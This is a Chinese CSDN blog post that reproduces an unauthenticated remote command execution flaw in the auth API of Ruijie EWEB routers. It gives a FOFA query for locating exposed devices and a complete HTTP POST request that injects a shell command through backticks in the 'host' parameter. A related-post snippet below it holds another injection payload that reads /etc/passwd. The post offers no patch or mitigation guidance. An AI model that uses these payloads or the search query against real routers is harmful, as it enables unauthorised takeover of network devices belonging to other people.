锐捷EWEB路由器 auth 远程命令执行漏洞

于 2024-03-13 21:22:31 发布
阅读量138 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43567873/article/details/136692041
版权

产品简介
锐捷网络EWEB路由器是锐捷网络股份有限公司的一款无线路由设备。
漏洞描述
锐捷EWEB路由器auth接口可在身份未验证的情况下执行任意命令，可以获取服务器权限，存在远程命令执行漏洞。
fofa
body=”cgi-bin/luci” && body=”#f47f3e”
影响数量55,755个
 


漏洞复现

POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 73

{"method":"checkNet","params":{"host":"`echo qqwweerrqqq>qqwweerr.txt`"}}

了解本专栏 订阅专栏 解锁全文 超级会员免费看
今天晚上早睡觉
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
订阅专栏
锐捷路由器命令执行漏洞（CVE-2023-3450）
xiaokp7的博客
09-13 804
RG-BCR860是锐捷网络推出的一款商业云路由器，它是专为酒店、餐饮、门店设计，适用带宽100Mbps,带机量可达150台，支持Sec VPM、内置安全审计模块，给商家带来更好的网络营销体验。该产品主支持全中文的WEB 界面配置，不再需要用传统的命令行进行配置，使得设备更加简单方便的进行维护和管理。RG-BCR860 2.5.13版本存在操作系统命令注入漏洞，该漏洞源于组件Network Diagnostic Page存在问题，会导致操作系统命令注入。
锐捷路由器配置命令(1).doc
07-13
1. #Exit返回上一级操作模式 2. #del flash:config.text删除配置文件(交换机及1700系列路由器) 3. #erase startup-config删除配置文件(2500系列路由器) 4. #write memory 或copy running-config startup-config 保存配置 5. #Configure terminal 进入全局配置模式 6. (config)# hostname routerA配置设备名称为routerA 7. (config)#banner motd &配置每日提示信息 &为终止符 8. (config)# enable secret star或者:enable password star 9. 设置路由器的特权模式密码为star；secret 指密码以非明文显示，password指密码 以明文显示 10. 锐捷路由器配置命令之查看信息 11. #show running-config 查看当前生效的配置信息 12. #show interface fastethernet 0/3查看F0/3端口信息 13. #
锐捷路由器配置命令完美宝典
10-01
锐捷也是路由企业中很优秀的生产商之一，这里主要讲解了锐捷路由器配置命令，让用户对锐捷路由器配置有一个更加深刻的了解
锐捷路由器命令全集.doc
07-13
命令 描述 Access-enable 创建一条临时的访问控制列表条目 Access-template 创建一条临时的访问控制列表条目 Appn 向APPN子系统发送一条命令 Atmsig 执行有关ATM信令的命令 B 手动引导操作系统 Bandwidth 设置接口的带宽 Banner motd 指定日期信息标语 Bfe 设置手工紧急模式 Boot system 指定路由器启动时加载的系统映象 Calendar 管理硬件的日志 Cd 改变妆当前的设备 Cdp enable 允许接口运行CDP协议 Clear 将变量清空 Clear counters 消除接口计数器 Clock 管理系统的时钟 Clock rate 设置串口硬件接口连接时钟速率，如：网络接口模块、处理器能接收的速率 Cmt 启动和停止FDDI连接管理 Config-register 修改配置寄存器设置 Configure 进入全局配置模式 Configure memory 从NVRAM加载配置信息 Configure terminal 从终端进行手动配置 Connect 打开一个终端连接 Copy 拷贝配置或映像数据 C
锐捷路由器配置命令大全.txt
07-13
　　>Enable 进入特权模式 　　#Exit 返回上一级操作模式 　　#del flash:config.text 删除配置文件(交换机及1700系列路由器) 　　#erase startup-config 删除配置文件(2500系列路由器) 　　#write memory 或copy running-config startup-config 保存配置 　　#Configure terminal 进入全局配置模式 　　(config)# hostname routerA 配置设备名称为routerA 　　(config)#banner motd & 配置每日提示信息 &为终止符 　　(config)# enable secret star 或者:enable password star 　　设置路由器的特权模式密码为star；secret 指密码以非明文显示，password指密码以明文显示 　　查看信息 　　#show running-config 查看当前生效的配置信息 　　#show interface fastethernet 0/3 查看F0/3端口信息 　　#show
锐捷路由器配置命令.doc
07-13
1. #Exit返回上一级操作模式 2. #del flash:config.text删除配置文件(交换机及1700系列路由器) 3. #erase startup-config删除配置文件(2500系列路由器) 4. #write memory 或copy running-config startup-config 保存配置 5. #Configure terminal 进入全局配置模式 6. (config)# hostname routerA配置设备名称为routerA 7. (config)#banner motd &配置每日提示信息 &为终止符 8. (config)# enable secret star或者:enable password star 9. 设置路由器的特权模式密码为star；secret 指密码以非明文显示，password指密码 以明文显示 10. 锐捷路由器配置命令之查看信息 11. #show running-config 查看当前生效的配置信息 12. #show interface fastethernet 0/3查看F0/3端口信息 13. #
Goby 漏洞更新｜锐捷网络 NBR路由器 webgl.data 信息泄露漏洞
m0_46699477的博客
05-27 1946
锐捷网络NBR700G路由器是锐捷网络股份有限公司的一款无线路由设备。锐捷网络NBR700G路由器存在信息漏洞，攻击者可利用该漏洞获取敏感信息。
CVE-2023-3450 锐捷Ruijie路由器命令执行漏洞复现
08-07 2385
RG-BCR860是锐捷网络推出的一款商业云路由器，它是专为酒店、餐饮、门店设计，适用带宽100Mbps,带机量可达150台，支持Sec VPM、内置安全审计模块，给商家带来更好的网络营销体验。该产品主支持全中文的WEB 界面配置，不再需要用传统的命令行进行配置，使得设备更加简单方便的进行维护和管理。
锐捷 NBR路由器 远程命令执行漏洞（CNVD-2021-09650）
孤桜懶契
04-14 1万+
漏洞描述 i ⭐锐捷NBR路由器 EWEB网管系统部分接口存在命令注入，导致远程命令执行获取权限 漏洞影响 s ✅锐捷NBR路由器 EWEB网管系统 空间测绘 d ⭕FOFA：title="锐捷网络-EWEB网管系统" ⭕FOFA：icon_hash="-692947551" 漏洞复现 ✅访问首页 ✅执行Payload命令 POST /guest_auth/guestIsUp.php mac=1&ip=127.0.0.1|cat /etc/passwd > test.tx
CVE-2023-3450：锐捷 RG-BCR860 命令执行漏洞复现
薛定谔嘚喵博客
09-05 1422
Ruijie RG-BCR860 2.5.13版本存在操作系统命令注入漏洞，该漏洞源于组件Network Diagnostic Page存在问题，会导致操作系统命令注入
锐捷路由器Web方式配置工具
02-23
锐捷路由器Web方式配置工具，web界面方便配置和维护
锐捷网络系统
03-03
网络开发，有用的东西，锐捷校园版，希望您能接受这个东西，谢谢
锐捷 EWEB auth 远程命令执行漏洞复现
最新发布
selecthch的博客
03-12 741
锐捷睿易是锐捷网络针对商业市场的子品牌。拥有易网络、交换机、路由器、无线、安全、云服务六大产品线，解决方案涵盖商贸零售、酒店、KTV、网吧、监控安防、物流仓储、制造业、中小教育、中小医疗、中小政府等商业用户。auth接口存在RCE漏洞，恶意攻击者可能会利用该漏洞执行恶意命令，进而导致服务器失陷。漏洞名称：锐捷 EWEB auth 远程命令执行漏洞。漏洞类别：远程代码执行。
锐捷网络-EWEB网管系统添加用户以及web认证
热门推荐
Eppley的博客
09-18 2万+
1.登陆网址“192.168.0.1”，输入用户名和密码，用户名是admin，密码是ruijie@123 2.选择“用户->用户管理->操作->添加用户",如下图所示：   3.添加用户后会出现以下界面：  输入“用户名”，选择“无IP”，勾选“允许做web认证用户”，输入“密码”，点击“确定”即可成功添加用户。 4.用户添加成功后会有如下显示： 5....
锐捷NBR路由器远程命令执行漏洞(CNVD-2021-09650）
m0_49025459的博客
05-11 1080
锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。
锐捷EG系列路由器WEB界面ipsec设置说明
zelf的专栏
03-17 7034
锐捷的IPSEC分为服务端和客户端，可以支持两端都有公网IP，或其中只有一端有公网的IP的场景。 且不论是主模式还是野蛮模式都有服务端和客户端。 设置实例： 1，先设置服务端。 需要注意： 1，服务端为有公网IP的一端，一般为总部或中心节心。 2策略名称，无要求。 3，绑定接口，即互联网出口，选择WAN口。 4，本地子网范围，与对端建立通讯的子网，当有多个子网时，一次只能建立一个，需要建立多条IPSEC。 5，预共享密钥，两端都填一样。 IKE策略：根据需要选择，需要至少有一条和
锐捷EG易网关与NBR路由器命令执行漏洞-2
1stPeak's Blog
08-09 1万+
锐捷EG易网关与NBR路由器——命令执行漏洞
锐捷无线产品运维（Web登录、 命令行登录）
m0_49864110的博客
08-15 4039
管理类型密码类型瘦AP设备胖AP设备AC设备Console管理登录密码ruijieadmin无Enable密码apdebug无Telnet管理登录用户名adminadmin默认没有开启登录密码ruijieEnable密码apdebug无SSH管理默认没有开启Web管理登录用户名admin登录密码Enable密码无默认管理IP地址新版本设备旧版本设别。
锐捷eg网关与nbr路由器命令执行漏洞
07-29
锐捷EG网关和NBR路由器是锐捷公司生产的网络设备，近期被曝出存在命令执行漏洞。 该漏洞的存在使得攻击者能够通过特制的网络请求执行恶意命令，从而导致系统被入侵和控制。其中锐捷EG网关的漏洞编号为CVE-2017-17408，而NBR路由器的漏洞编号为CVE-2017-17409。 攻击者可以通过发送恶意的HTTP请求或者其他网络请求来利用这些漏洞。一旦成功利用，攻击者可以执行任意命令并获取系统权限。这些命令可能包括修改配置、获取敏感信息或者部署其他恶意软件等。 这些漏洞的存在给网络安全带来了潜在的威胁。攻击者可以通过利用这些漏洞对网络设备进行攻击，窃取敏感信息、破坏网络服务或者入侵其他网络设备。 为了解决这些漏洞的问题，锐捷公司已经发布了相应的安全补丁，并且建议用户尽快升级相关设备的固件版本。同时，用户还应该加强网络设备的安全配置，限制对设备的网络访问、设置强密码、及时备份设备配置等。 作为网络设备的用户，我们也应当关注设备厂商的安全公告，定期检查更新并安装相关补丁。此外，加强网络设备的监控和日志记录，及时发现和防范异常行为也是非常重要的。 总之，锐捷EG网关与NBR路由器命令执行漏洞的曝光提醒我们网络安全问题的重要性，需要及时采取相应的措施来保护网络设备和数据的安全。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值